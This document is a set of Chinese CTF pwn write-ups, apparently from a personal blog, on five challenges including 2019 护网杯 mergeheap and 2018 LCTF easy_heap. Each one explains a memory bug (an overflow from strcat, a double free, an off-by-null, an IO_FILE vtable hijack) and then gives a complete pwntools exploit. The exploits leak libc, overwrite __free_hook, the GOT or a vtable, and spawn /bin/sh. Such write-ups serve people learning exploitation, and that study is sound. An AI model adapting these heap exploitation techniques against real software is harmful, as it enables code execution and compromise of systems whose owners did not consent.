2019护网杯 mergeheap
这个题目的逻辑比较清晰,难的地方在于利用思路。
遍观整个程序:
自己实现的read函数没有off-by-one:
delete函数没有UAF之类的
因此整个程序没有什么明显的漏洞,下面就要对执行逻辑进行分析。
首先我们要看merge函数(其实看题目名字也大致猜到这里可能有问题)
strcpy和strcat都以”\x00”截止,那么结合自己实现read函数,如果size刚好都填充满堆块的话,两个堆块合并可以溢出两个字节,但是我们只需要溢出一个改变其下一个堆块的size位就可以了,然后我们利用chunk overlap来实现利用。
利用方式
首先当然是地址泄露,对于libc 2.27的堆题目,我们要消耗掉teache,然后得到unsorted bin来实现地址泄露,得到地址后,就可以利用merge处的漏洞,实现getshell
#coding=utf-8
from pwn import *
exec_binary = "./mergeheap"
libcversion = '2.27'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(size,content):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil("len:")
r.sendline(str(size))
r.recvuntil("content:")
r.send(content + "\n")
def free(idx):
r.recvuntil(">>")
r.sendline("3")
r.recvuntil("idx:")
r.sendline(str(idx))
def show(idx):
r.recvuntil(">>")
r.sendline("2")
r.recvuntil("idx:")
r.sendline(str(idx))
def merge(idx1,idx2):
r.recvuntil(">>")
r.sendline("4")
r.recvuntil("idx1:")
r.sendline(str(idx1))
r.recvuntil("idx2:")
r.sendline(str(idx2))
for i in range(8):
malloc(0x100,"A" * 0x10)
for i in range(8):
free(7-i) # 反向free可以减少一个堆块的消耗,同时方便show
#gdb.attach(r)
malloc(0x8,"a"*8) #0 这里只能是8或者更小,因为输入的size要刚好等于要输入的数据长度,这样的话就不会出现末尾补0,进而下面的输出不会被阶段
show(0)
r.recvuntil("a"*8)
get = u64(r.recvuntil("\x7f").ljust(8,"\x00"))
libcbase = get - 0x3afda0
free_hook = libcbase + libc.symbols["__free_hook"]
system_addr = libcbase + libc.symbols["system"]
confirm(libcbase)
confirm(free_hook)
confirm(system_addr)
malloc(0xe0,"a"*0xe0) #1
malloc(0x10,"b"*0x10) #2
malloc(0x18,"a"*0x18) #3
malloc(0x80,"a") #4
malloc(0x20,"a") #5
malloc(0x20,"b") #6
free(5)
merge(2,3) #这几步总的来说就是在一个大堆块里面申请了一个小堆块,free掉小堆块和大堆块,然后把大堆块申请出来,然后就可以修改小堆块的link list,进而实现任意地址写。
malloc(0x20,"b"*8) #7
free(6)
free(7)
payload = 'b' * 0x20 + p64(0) + p64(0x31) + p64(free_hook)
malloc(0x80,payload)
malloc(0x20,"/bin/sh\x00") #7
malloc(0x20,p64(system_addr))
free(7)
r.interactive()
知识点
对于teache,它和fastbin不太一样,fastbin进行chunk_overlap的时候一般申请堆块大小为0x70,因为在mallc_hook,或者free_hook附近错位找合适堆块size的时候一般都是0x7f,但是teache的地址就比较宽松,可以直接把free_hook之类的地址写进它的link_list里面
网络内生安全试验场 pwn1
这个题目算是比较简单的,考的是double free的利用,和__std_out的地址泄露。
它的堆块存储结构大概是这样子的。
同时它进项堆块内存读取的时候是全部输出。
我们调试可以发现 unsorted bin attack泄露地址是很难的,那我们就瞄准输入输出流.
程序中存在double free漏洞,那么我们可以创造堆块来使得地址泄露吗,然后再次利用堆块任意写实现利用
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./pwn1"
libcversion = '2.23'
local = 1
context.binary = exec_binary
#context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(size,context):
r.recvuntil("Your choice : ")
r.sendline("1")
r.recvuntil("Length of the name :")
r.sendline(str(size))
r.recvuntil("The name of this life :")
r.send(context)
r.recvuntil("The level of this life (High/Low) :")
r.sendline("b")
def free(idx):
r.recvuntil("Your choice : ")
r.sendline("3")
r.recvuntil("remove: ")
r.sendline(str(idx))
def show():
r.recvuntil("Your choice : ")
r.sendline("2")
life_list = 0x0000000006020E0
life_count = 0x0000000006020CC
malloc(0x30,"aa") #0
malloc(0x30,"aa") #1
free(0)
free(1)
free(0)
malloc(0x30,p64(life_list-0x56)) #0
malloc(0x30,"a") #1
malloc(0x30,"a") #2
malloc(0x30,"a"*30 + "b"*8) #3
show()
r.recvuntil("b"*8)
_IO_2_1_stdout_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00"))
get_libc(_IO_2_1_stdout_addr,"_IO_2_1_stdout_")
one_gad_get = libcbase + 0x45216
malloc_hook_addr = libcbase + libc.dump("__malloc_hook")
free_hook_addr = libcbase + libc.dump("__free_hook")
system_addr = libcbase + libc.dump("system")
confirm(one_gad_get)
confirm(libcbase)
confirm(malloc_hook_addr)
confirm(free_hook_addr)
confirm(system_addr)
malloc(0x50,"a") #6
malloc(0x50,"a") #7
free(6)
free(7)
free(6)
malloc(0x50,p64(0x602018-0x1e))
malloc(0x50,"a")
malloc(0x50,"a")
malloc(0x50,"a"*0xe + p64(system_addr))
malloc(0x20,"/bin/sh\x00") #8
#gdb.attach(r)
free(12)
r.interactive()
但是利用过程我就很懵逼了,我最开始把one_gadget写入了malloc_hook,但是一直没办法getshell,strace追踪调试发现新开的shell莫名其妙自己退出了,咱也不知道啥原因,gdb调试也显示了new program /bin/sh ,哎,可能触及知识盲区了,然后看wp呗,卧槽,他们跟我一样啊,为啥我的不行,呜呜呜,然后我突然想起来程序的保护没有完全开启。
\[*] '/home/root0/pratice/2020_heap_practice/ctf-save/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
那么我就可以写到got表里了,果然,成功getshell,嗯,要学会动脑子!!!
2018LCTF easy_heap
这个题目没有edit功能,这就会使得利用稍微变的难一点,同时对于分配堆块的add函数
我们可以看到,这程序起始时calloc分配的堆块中,存储的类似于一个结构体指针
struct ptr
{
ptr = * ptr_array;
size = * (ptr_array + 8);
}
同时堆块读入操作中明显存在off-by-NULL漏洞。
unsigned __int64 __fastcall sub_BEC(_BYTE *ptr, int size)
{
unsigned int v3; // [rsp-14h] [rbp-14h]
unsigned __int64 v4; // [rsp-10h] [rbp-10h]
v4 = __readfsqword(0x28u);
v3 = 0;
if ( size )
{
while ( 1 )
{
read(0, &ptr[v3], 1uLL);
if ( size - 1 < v3 || !ptr[v3] || ptr[v3] == 10 )
break;
++v3;
}
ptr[v3] = 0;
ptr[size] = 0;
}
else
{
*ptr = 0;
}
return __readfsqword(0x28u) ^ v4;
}
但是这个题目堆块分配的大小起始不是我们可以控制的,都是程序直接分配出一个0x100大小的堆块来让你用,而且没有堆溢出,这使得利用稍微麻烦一点。
利用过程
首先就是排列堆块结构,我们没办法用自己的操作来实现利用,就要依赖于系统内部对于堆块的操作来达到我们想要的目的。
1.题目中我们只能申请10个堆块,由于tcache的存在,我们肯定7个都要用来消耗tcache,这样我们就可以释放unsorted bin来帮助地址泄露,但是unsorted bin attack的时候一般都会多申请一个chunk来实现防止top chunk的合并,但是我们肯定不能这样,因为就10个堆块,没得堆块可以浪费,那么我们就可以把一个free的tcache与top chunk相邻,因为tcache和fastbin一样,不会轻易与top chunk合并.
2.我们知道存在off-by-null,所以我们要想办法利用,我们可以利用unsorted bin在释放后不会将pre_size清0的特点来实现unlink进而实现堆块重叠,但是要注意tcache的影响
3.堆块重叠后我们先用unsorted bin attack泄露出地址,然后利用tcache的double free来实现任意地址写,进而getshell
这中间过程还是挺复杂的,细节写在exp里面了。
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./easy_heap"
libcversion = '2.27'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary, checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,
libcversion), checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,
libcversion), checksec=False)
else:
r = remote("")
def get_libc(addr, addr_name):
global libc, libcbase
libc = LibcSearcher(str(addr_name), addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd + r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base, r.libs()[key]
def debug(addr):
text_base, libc_base = get_base(r)
break_point = "set $text_base=" + \
str(text_base) + '\n' + "set $libc_base=" + str(libc_base) + '\n'
break_point += "b *" + str(addr) + "\nc"
gdb.attach(r, break_point)
def confirm(address):
n = globals()
for key, value in n.items():
if value == address:
return success(key + " ==> " + hex(address))
def malloc(size, context):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("> ")
r.sendline(str(size))
r.recvuntil("> ")
r.send(context + "\n")
def free(idx):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("> ")
r.sendline(str(idx))
def show(idx):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("> ")
r.sendline(str(idx))
for i in range(7): # 0 - 6 --> tcache
malloc(0x10, "aa")
for i in range(3): # 7 - 9 ---> unsorted bin
malloc(0x10, "bb")
for i in range(6):
free(i)
free(9) # 把一个tcache块放到最后防止topchunk合并
for i in range(6, 9):
free(i)
for i in range(7): # 所有的tcache都申请出来
malloc(0x10, "aa")
for i in range(3): # 之前的unsorted bin 也申请出来
malloc(0x10, "bb")
for i in range(6): # tcache 链表里面存入6个
free(i)
free(8) # unsorted bin 的第二个放入tcache,同时它也在链表的最外面
free(7) # 用来unlink,同时伪造好了fd和bk,简直完美
malloc(0xf8, "aa") # off-by-NULL使得第9号chunk的pre_inuse位被置0 idx = 0
free(6) # 填满tcache链表方便unsorted bin 操作
free(9) # 利用之前unsorted bin操作留下的pre_size合并出一个大的堆块
# 这时候我们可以知道已经出现堆块交叉,这接下来就很简单了
for i in range(7): # 消耗tcache
malloc(0x10, "aa")
malloc(0x10, "bb") # 申请出一个unsorted bin的堆块方便泄露libc ,idx = 8
show(0) # 从这里可以看出unsorted bin 的堆块切分操作会把相关bin的地址再次写入到最外面的unsorted bin堆块。
libcbase = u64(r.recvuntil("\x7f").ljust(8, "\x00")) - 0x3afca0
confirm(libcbase)
free_hook_addr = libc.symbols["__free_hook"] + libcbase
confirm(free_hook_addr)
system_addr = libcbase + libc.symbols["system"]
malloc_hook_addr = libc.symbols["__malloc_hook"] + libcbase
confirm(malloc_hook_addr)
confirm(system_addr)
one_gadget = 0x41612 + libcbase
confirm(one_gadget)
malloc(0x10, "bb") # idx = 9 ,但是和idx = 0的堆块出现重合,因此两个指针同时指向了一个堆块
free(1)
free(0) # tcache double free
free(9)
malloc(0x40, p64(free_hook_addr)) # 0
malloc(0x40, "/bin/sh\x00") # 1
malloc(0x40, p64(one_gadget)) # 2
gdb.attach(r)
pause()
free(0)
r.interactive()
知识点
利用系统操作实现unlink,unsorted bin free的时候不会把pre_size位清零,然后 unsorted bin chunk free的时候会把fd和bk伪造好,那么这个大堆块就会和中间的一个小堆块实现重叠,那么UAF,double free之类的操作就方便很多了。
可以回顾这里:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#null
2018_hctf_the_end
checksec:
[*] '/home/root0/pratice/pwn/ctf-challenges-master/pwn/io-file/2018_hctf_the_end/the_end'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
保护开了RELRO,NX,PIE,我们通过main函数来观察函数流程:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
可以看出题目实现了5字节的任意地址写操作,同时程序关闭了输出流和错误输出流这就导致程序实际上无法产生回显,但是exit会调用_IO_2_1_stdout_的sebuf函数。
漏洞利用
我们单步进入exit函数,找到其中和IO_file相关的函数调用,看看是否调用了vtable里面的函数,如果调用的话,我们就可以利用偏移修改该函数的地址为onegadget。
如我们所愿,在exit函数里面出现了_IO_file_setbuf函数
值得注意的是,在libc 2.23里面 位于 libc 数据段的 vtable 是不可以进行写入的,那么我们只能通过伪造vtable的方法来实现利用。
知识点
标准IO库中,stdin , stdout , stderr 是libc.so的数据段,而且三个文件流是自动打开的,但是fopen创建的文件流则是在堆中,所以在此题中,最后关闭的是标准IO,我们要寻找在数据段的偏移。
EXP
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
local = 1
exec_binary = './the_end'
context.binary = exec_binary
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
else:
r = remote()
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def debug(addr):
break_point = 'b *'+str(addr)+'\nc'
gdb.attach(r,break_point)
pause()
#libc = ELF("./libc.so.6")
r.recvuntil("gift ")
libcbase = eval(r.recv(14)) - 0xcc230
confirm(libcbase)
one_gadget = libcbase + 0xf02a4
confirm(one_gadget)
vtable = libcbase + 0x0000000003C56F8
confirm(vtable)
fake_vtable = vtable - 0x90
fake_IO_new_file_setbuf_addr = fake_vtable + 88
#gdb.attach(r)
for i in range(2):
r.send(p64(vtable + i))
r.send(p64(fake_vtable)[i])
for i in range(3):
r.send(p64(fake_IO_new_file_setbuf_addr + i))
r.send(p64(one_gadget)[i])
r.sendline("exec /bin/sh 1>&0") #因为关闭了输出和错误流,所以进行重定向
r.interactive()
whctf2017的stackoverflow
checksec:
[*] '/home/root0/pratice/pwn_category/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/stackoverflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/glibc/x64/2.24/lib'
可以看到除了PIE都开了,下面分析程序逻辑:
漏洞
地址泄露
unsigned __int64 sub_4009FD()
{
char v1; // [rsp+0h] [rbp-70h]
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("leave your name, bro:");
read_in(&v1, 0x50);
printf("worrier %s, now begin your challenge", &v1);
return __readfsqword(0x28u) ^ v2;
}
在输入名字的时候没有截断,所以printf会把紧跟的也输出出来进而获得libc的基地址。
NULL字节写入
这个点不细想还是真看不出来。。。
__int64 sub_4008C8()
{
int size; // [rsp+8h] [rbp-18h]
int size_; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
size_ = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
ptr = malloc(0x28uLL);
ptr_array = (__int64)malloc(size + 1);
if ( !ptr_array )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
read_in((void *)ptr_array, size);
*(_BYTE *)(ptr_array + size_) = 0; // off-by-null
return 0LL;
}
最后的off-by-null是因为它用的size_,这是之前最开始输入的size,但是如果size不符合> 0x300000的条件的话,可以输入新的size,所以两个size配合起来,可以在一个地方写上NULL字节,这跟平常堆上面的off-by-null有很大的不同。
漏洞利用
EXP
#coding=utf-8
from pwn import *
from pwn_debug import *
from LibcSearcher import LibcSearcher
exec_binary = "./stackoverflow"
libcversion = '2.24'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def flush_buff(size):
for i in range(0,size):
r.recvuntil("padding and ropchain: ")
r.sendline('a')
name = "a" * 8
r.recvuntil("bro:")
r.send(name)
r.recvuntil("a"*8)
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x753a2
confirm(libcbase)
_IO_stdin = libcbase + libc.symbols["_IO_2_1_stdin_"]
_IO_stdin_end = _IO_stdin + 0xe0 + 0x10
malloc_hook_addr = libcbase + libc.symbols["__malloc_hook"]
_IO_buf_base = _IO_stdin + 7*8
_IO_buf_end = _IO_buf_base + 8
_IO_stdfile_0_lock_addr = libcbase + libc.symbols["_IO_stdfile_0_lock"]
_IO_wide_data_0_addr = libcbase + libc.symbols["_IO_wide_data_0"]
__GI__IO_file_jumps = libcbase + libc.symbols["__GI__IO_file_jumps"]
ret_addr = 0x000000000400A23
offset = 0x1f0
r.recvuntil("stackoverflow: ")
r.sendline(str(int("0x6998e8",16)))
r.recvuntil("stackoverflow: ")
r.sendline(str(int("0x300000",16)))
r.recvuntil("ropchain: ")
r.send("a")
r.recvuntil("stackoverflow: ")
r.send(p64(malloc_hook_addr+8))
r.recvuntil("ropchain: ")
r.send("a")
r.recvuntil("stackoverflow: ")
r.sendline("1")
for i in range(6):
r.recvuntil("ropchain: ")
r.send("a")
r.recvuntil("stackoverflow: ")
# 这个IOfile的结构体要伪造好,否则容易报错。利用scanf读入。
payload = p64(malloc_hook_addr + 8) + p64(0) * 6 + p64(0) + p64(0) + p64(_IO_stdfile_0_lock_addr)
payload += p64(0xffffffffffffffff) + p64(0) + p64(_IO_wide_data_0_addr) + p64(0) * 6 + p64(__GI__IO_file_jumps)
#payload = file_data[fake_file.offset("_IO_buf_end"):]
payload = payload.ljust(offset,"a")
payload += p64(ret_addr)
#debug(0x000000000400968)
r.send(payload)
bin_sh_addr = libcbase + libc.search("/bin/sh\x00").next()
r.recvuntil("stackoverflow: ")
payload = "a" * 0x10 + p64(0x0000000000400b43) + p64(bin_sh_addr) + p64(libcbase + libc.symbols["system"])
#这个栈溢出还是有点东西,因为它在一个函数内部实现了函数外围函数的溢出,ret返回地址劫持的不是当前函数的ret,而是外围函数的ret。
#gdb.attach(r)
#r.recvuntil("stackoverflow: ")
#r.send("1")
r.send(payload)
#flush_buff(8)
#debug(0x0000000004009DF)
r.interactive()